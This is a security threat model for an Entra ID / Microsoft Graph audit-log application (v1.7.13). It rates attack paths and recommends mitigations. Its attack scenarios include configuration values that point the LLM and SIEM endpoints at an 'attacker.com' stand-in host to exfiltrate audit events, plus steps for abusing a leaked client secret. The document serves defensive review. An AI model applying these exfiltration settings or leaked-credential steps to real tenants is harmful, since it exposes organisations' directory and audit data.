# AOC Threat Model — v1.7.13 **Date:** 2026-04-27 **Scope:** Entra ID / Microsoft Graph integration, token handling, data flows, external dependencies **Assumptions:** Deployment is Docker Compose behind nginx reverse proxy; `AUTH_ENABLED=true`; `AI_FEATURES_ENABLED` may be true or false. --- ## Attack Surface Map ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ ATTACKER │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐ │ │ │ Frontend │ │ API │ │ Webhook │ │ │ │ (CDN JS) │ │ (/api/*) │ │ (/api/webhooks)│ │ │ └──────┬──────┘ └──────┬───────┘ └────────┬────────┘ │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ AOC BACKEND │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ │ │ Auth │ │ Events │ │ Fetch │ │ Ask/LLM │ │ │ │ │ │ (JWT) │ │ (Mongo) │ │ (Graph) │ │ (HTTP) │ │ │ │ │ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │ │ │ │ │ │ │ │ │ │ │ │ ▼ ▼ ▼ ▼ │ │ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ │ │ SECRETS / CREDENTIALS │ │ │ │ │ │ CLIENT_SECRET │ LLM_API_KEY │ MONGO_PASSWORD │ │ │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────┘ │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐ │ │ │ Microsoft │ │ LLM API │ │ SIEM Webhook │ │ │ │ Graph API │ │ (OpenAI/ │ │ (optional) │ │ │ │ │ │ Azure) │ │ │ │ │ └─────────────┘ └──────────────┘ └─────────────────┘ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` --- ## 1. Entra App Registration Abuse — HIGH ### 1.1 Client Credentials Leak = Full Tenant Read **How it works:** - AOC uses `client_credentials` flow (`graph/auth.py`) - `CLIENT_ID` + `CLIENT_SECRET` are exchanged for an access token at `login.microsoftonline.com` - The token has `https://graph.microsoft.com/.default` scope - This grants **all application permissions** configured in the Entra app registration **Typical permissions:** - `Directory.Read.All` — read all users, groups, devices, roles - `AuditLog.Read.All` — read all audit logs - `DeviceManagementManagedDevices.Read.All` — read all Intune devices **Attack scenario:** 1. Attacker gains read access to `.env` or the Docker container filesystem 2. Attacker calls the token endpoint directly with the leaked `CLIENT_ID`/`CLIENT_SECRET` 3. Attacker receives a Graph API access token valid for ~1 hour 4. Attacker can query ALL tenant data independently of AOC **Impact:** Complete tenant data exfiltration — users, groups, devices, audit logs, mailboxes (if `Exchange.Read` granted). **Mitigation in place:** None. The backend needs these permissions to function. **Recommendation:** - Store `CLIENT_SECRET` in a secret manager (Azure Key Vault, HashiCorp Vault) rather than `.env` - Use short-lived certificates instead of long-lived secrets for app authentication - Monitor Entra sign-in logs for anomalous `client_credentials` token requests - Restrict app registration permissions to the absolute minimum (e.g., `AuditLog.Read.All` + `Directory.Read.All` only) --- ### 1.2 No Scope Restriction on Graph Token **Finding:** `get_access_token()` always requests `https://graph.microsoft.com/.default` — the full permission set. There's no mechanism to request narrower scopes for specific operations. **Impact:** If the app registration has 10 permissions, every token has all 10. A bug in one code path could expose data from all 10 permission areas. **Recommendation:** Not easily fixable without splitting into multiple app registrations. Document as accepted risk. --- ## 2. Authentication & Token Validation — MEDIUM ### 2.1 JWKS Fetch Without TLS Certificate Validation Hardening **Finding:** `_get_jwks()` fetches OIDC configuration and JWKS from `login.microsoftonline.com` using standard `requests` TLS validation. No certificate pinning or CA bundle restriction. **Attack scenario (advanced):** 1. Attacker compromises DNS or a network hop between AOC and Microsoft 2. Attacker serves a fake JWKS endpoint with their own public key 3. Attacker issues a forged JWT signed with their private key 4. AOC validates the forged JWT against the attacker's public key 5. Attacker gains authenticated access **Likelihood:** Very low (requires DNS compromise or nation-state-level interception). **Mitigation:** Standard TLS validation is in place. For high-security environments, consider pinning the `login.microsoftonline.com` certificate thumbprint. --- ### 2.2 Missing `nbf` / `iat` Claim Verification **Finding:** `_decode_token()` verifies `exp`, `tid`, `iss`, and `aud` but does not check `nbf` (not before) or `iat` (issued at) claims. **Impact:** A token used before its validity period (`nbf`) or with a suspicious future `iat` would be accepted. Minor issue — MSAL tokens are well-formed in practice. --- ### 2.3 Role/Group Gating Defaults to "Allow All" **Finding:** In `auth.py`: ```python def _allowed(claims, allowed_roles, allowed_groups): if not allowed_roles and not allowed_groups: return True ``` **Impact:** If `AUTH_ENABLED=true` but `AUTH_ALLOWED_ROLES` and `AUTH_ALLOWED_GROUPS` are left empty (the default), **every Entra user in the tenant** can authenticate and use AOC. This is a common misconfiguration. **Recommendation:** Add a startup warning when auth is enabled but no roles/groups are configured. Consider changing the default to deny-all. --- ### 2.4 Privacy Service Role Gating Also Defaults to "Allow All" **Finding:** `user_can_access_privacy_services()` returns `True` if `PRIVACY_SERVICE_ROLES` is empty. If an admin configures `PRIVACY_SERVICES` (e.g., `Exchange`) but forgets to set `PRIVACY_SERVICE_ROLES`, all users see all privacy data. --- ## 3. Data Exfiltration Paths — HIGH ### 3.1 LLM Endpoint as Data Exfiltration Channel **Finding:** When `AI_FEATURES_ENABLED=true` and `LLM_API_KEY` is set: - The `/api/ask` endpoint sends audit event data (actors, targets, operations, summaries) to the configured LLM API - `_validate_llm_url()` blocks private IPs but does NOT restrict the domain to an allowlist - Any HTTPS URL is accepted **Attack scenario:** 1. Attacker gains `.env` write access (or container filesystem access) 2. Attacker changes `LLM_BASE_URL` to `https://attacker.com/fake-llm` 3. Attacker sends an `/api/ask` request like "show me all events" 4. AOC queries MongoDB and sends up to `LLM_MAX_EVENTS` (default 200) events to the attacker's URL 5. Attacker receives structured audit data including actor names, UPNs, device names, operation details **Impact:** Up to 200 audit events exfiltrated per API call. With pagination, an attacker could exfiltrate the entire database. **Mitigation in place:** SSRF guard blocks private IPs and localhost. **Gap:** No domain allowlist. An attacker-controlled public HTTPS endpoint is accepted. **Recommendation:** - Add `LLM_ALLOWED_DOMAINS` config (e.g., `api.openai.com,*.openai.azure.com`) - Validate `LLM_BASE_URL` against this allowlist at startup and on every request - Log all LLM requests with event counts sent --- ### 3.2 SIEM Webhook as Real-Time Exfiltration Channel **Finding:** `siem.py` forwards every normalized event to `SIEM_WEBHOOK_URL` during ingestion: ```python def forward_event(event): if not SIEM_ENABLED or not SIEM_WEBHOOK_URL: return requests.post(SIEM_WEBHOOK_URL, json=event, timeout=10) ``` **Gap:** No URL validation at all. Unlike the LLM endpoint, the SIEM webhook has NO SSRF guard. **Attack scenario:** 1. Attacker sets `SIEM_ENABLED=true` and `SIEM_WEBHOOK_URL=https://attacker.com/collect` 2. Every new audit event fetched from Graph is immediately POSTed to the attacker's URL 3. Attacker receives real-time stream of all tenant audit events **Impact:** Real-time, continuous data exfiltration of all audit events. **Recommendation:** - Add the same SSRF validation to `SIEM_WEBHOOK_URL` that exists for `LLM_BASE_URL` - Add `SIEM_ALLOWED_DOMAINS` config - Log SIEM forwarding failures prominently --- ### 3.3 Export Features (JSON/CSV) **Finding:** The frontend has `exportJSON()` and `exportCSV()` functions that download all currently filtered events. These are authenticated but not rate-limited separately from `/api/events`. **Impact:** A compromised account can export large batches of events. However, this requires authentication and is bounded by the 500-event page size limit. **Risk level:** LOW — requires valid auth and is noisy. --- ## 4. Webhook Abuse — MEDIUM ### 4.1 Graph Change Notification Webhook **Finding:** `/api/webhooks/graph` receives Microsoft Graph change notifications: - Echoes `validationToken` for subscription handshake - Accepts notifications with optional `clientState` validation - `WEBHOOK_CLIENT_SECRET` is empty by default **Attack scenario 1 — Subscription hijacking:** 1. Attacker discovers the webhook URL (via API enumeration or guess) 2. Attacker creates a Graph subscription pointing to the AOC webhook URL 3. Attacker receives change notifications for the subscribed resource **Mitigation:** Notifications without matching `clientState` are rejected when `WEBHOOK_CLIENT_SECRET` is configured. But it's empty by default. **Attack scenario 2 — Validation token abuse:** 1. Attacker sends a POST to `/api/webhooks/graph?validationToken=` 2. AOC echoes the token back as `text/plain` 3. Could be used for cache poisoning or response splitting **Mitigation:** Length and ASCII validation added in v1.7.12. **Recommendation:** - Require `WEBHOOK_CLIENT_SECRET` to be set in production - Document that the webhook endpoint should NOT be exposed to the public internet --- ## 5. Supply Chain — MEDIUM ### 5.1 CDN Scripts Without Subresource Integrity (SRI) **Finding:** The frontend loads two external scripts without SRI hashes: ```html ``` **Attack scenario:** 1. `cdn.jsdelivr.net` or `alcdn.msauth.net` is compromised (supply chain attack) 2. Malicious JavaScript is served instead of the legitimate library 3. Malicious script can steal MSAL tokens, modify API requests, or exfiltrate data **Impact:** Complete frontend compromise — token theft, data exfiltration, UI spoofing. **Recommendation:** - Add SRI hashes to both script tags: ```html ``` - Or vendor the JS files and serve them from the same origin --- ## 6. Privilege Escalation — MEDIUM ### 6.1 Application Permissions Bypass User Boundaries **Finding:** Because AOC uses application permissions (not delegated permissions), the backend can read audit logs for ALL users, not just the authenticated user. The privacy service filtering (`PRIVACY_SERVICES`) is the only boundary — and it's opt-in. **Impact:** A user with minimal Entra permissions (e.g., a regular user who can authenticate) can view audit logs for the entire tenant if: - `PRIVACY_SERVICES` is not configured, OR - `PRIVACY_SERVICE_ROLES` is not configured **Recommendation:** - Document that AOC should be restricted to admin/security roles via `AUTH_ALLOWED_ROLES` - Consider adding per-user event filtering (only show events where the authenticated user is the actor or target) --- ## 7. Miscellaneous Vectors — LOW ### 7.1 Token Cache in Memory **Finding:** `_TOKEN_CACHE` in `graph/auth.py` is an in-memory dictionary. If an attacker gains code execution in the Python process, they can read the cache or call `get_access_token()` directly. **Impact:** Attacker with code execution can get Graph API tokens. But if they have code execution, they already have `CLIENT_SECRET` from memory or `.env`. ### 7.2 MongoDB Connection String **Finding:** `MONGO_URI` contains credentials. If an attacker gains filesystem access, they can connect directly to MongoDB and bypass all AOC auth/privacy controls. **Mitigation:** MongoDB is internal to Docker network (not exposed to host in production compose file). ### 7.3 Audit Trail Log Injection **Finding:** `audit_trail.log_action()` stores actions in MongoDB. The `details` dict could contain user-controlled data (e.g., filter values). If the audit log is ever rendered without escaping, this could lead to XSS. **Risk level:** LOW — audit logs are not currently rendered in the UI. --- ## Risk Summary | Vector | Severity | Likelihood | Requires | |--------|----------|------------|----------| | Client secret leak → full tenant read | **HIGH** | Medium | `.env` or container access | | LLM endpoint hijacking → data exfil | **HIGH** | Low | `.env` write access | | SIEM webhook hijacking → real-time exfil | **HIGH** | Low | `.env` write access | | CDN compromise → frontend token theft | **MEDIUM** | Low | Supply chain attack | | Role gating misconfig → all users access | **MEDIUM** | High | Misconfiguration | | Webhook subscription hijacking | **MEDIUM** | Low | URL discovery | | DNS compromise → fake JWKS | **MEDIUM** | Very low | Network compromise | | Application permissions bypass boundaries | **MEDIUM** | High | Default config | | Token replay | LOW | Low | Token theft | | Audit log injection | LOW | Low | Filter manipulation | --- ## Immediate Recommendations 1. **Add LLM domain allowlist** (`LLM_ALLOWED_DOMAINS`) and validate at startup 2. **Add SIEM SSRF guard** — reuse `_validate_llm_url()` for `SIEM_WEBHOOK_URL` 3. **Add SRI hashes** to CDN script tags, or vendor the libraries 4. **Add startup warning** when auth is enabled but no `AUTH_ALLOWED_ROLES`/`AUTH_ALLOWED_GROUPS` configured 5. **Document webhook security** — require `WEBHOOK_CLIENT_SECRET` in production 6. **Consider Key Vault integration** for `CLIENT_SECRET` and `LLM_API_KEY` 7. **Add per-user filtering option** — restrict events to those involving the authenticated user